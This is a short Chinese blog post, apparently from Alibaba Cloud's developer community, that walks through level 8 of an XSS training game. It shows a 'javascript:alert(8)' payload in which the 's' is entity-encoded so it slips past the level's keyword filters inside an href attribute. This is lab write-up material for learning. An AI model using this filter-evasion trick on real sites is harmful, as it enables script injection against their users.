AI 助理
备案控制台
开发者社区 云计算 文章 正文

XSS-Game level 8

2021-12-30 130
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： 第八关过滤的很严 , 只能编码绕过了

第八关过滤的很严 , 只能编码绕过了

image.png

源码中过滤了大小写,替换了script , on 事件 和 一些属性 , 而后将参数拼接到 href 属性

image.png我们使用编码绕过 s 编码后为 s , payload

javascript:alert(8)
<a href="'.$str7.'">    //拼接前
<a href="java&#115;cript:alert(8)">    //拼接后
<a href="javascript:alert(8)">    //编码后

点击友情链接 , 触发弹窗 , 过关

image.png

士别三日wyx
目录
相关文章
南桥.
Minesweeper game（Plain version）--C
Minesweeper game（Plain version）--C
南桥.
40 0
hshsgsg
|
4月前
|
搜索推荐 Docker 容器
生信分析代码之前还好好的,怎么就报错了 Error in Ops. data. frame(guide_loc, panel_loc) :'==' only defined for equally-sized data frames
执行 `DimPlot` 函数时遇到错误 `;Error in Ops. data. frame(g guides_loc, panel_loc) : &#39;==&#39; only defined for equally-sized data frames`。解决方案和办法
hshsgsg
1195 0
生信分析代码之前还好好的,怎么就报错了 Error in Ops. data. frame(guide_loc, panel_loc) :'==' only defined for equally-sized data frames
buzl22222
|
7月前
test javascriopt:console.log("xss")
test888
buzl22222
28 0
test javascriopt:console.log("xss")
yechaoa
|
开发工具 Android开发 git
Android Studio完美解决 you are about to commit crlf line separators，warning: CRLF will be replaced by LF
Android Studio完美解决 you are about to commit crlf line separators，warning: CRLF will be replaced by LF
yechaoa
1098 1
Android Studio完美解决 you are about to commit crlf line separators，warning: CRLF will be replaced by LF
科技小能手
|
Apache 安全
apache 禁止trace或track防止xss攻击
科技小能手
2067 0
士别三日wyx
XSS-Game level 9
第九关过滤的很严 , 使用编码绕过
士别三日wyx
107 0
XSS-Game level 9
士别三日wyx
|
JavaScript 前端开发
XSS-Game Level1
第一关算是送分题 , 没有任何过滤 , 传递一个弹窗的JS脚本即可
士别三日wyx
207 0
XSS-Game Level1
士别三日wyx
XSS-Game Level 4
第四关过滤了左右尖括号 ">","<" , 我们使用事件来绕过
士别三日wyx
133 0
XSS-Game Level 4
士别三日wyx
XSS-Game level 5
第五关过滤了 <script> 和 on 事件 , 使用 a 标签绕过
士别三日wyx
125 0
XSS-Game level 5
士别三日wyx
XSS-Game level 13
第十三关利用 COOKIE 使用 事件绕过
士别三日wyx
119 0
XSS-Game level 13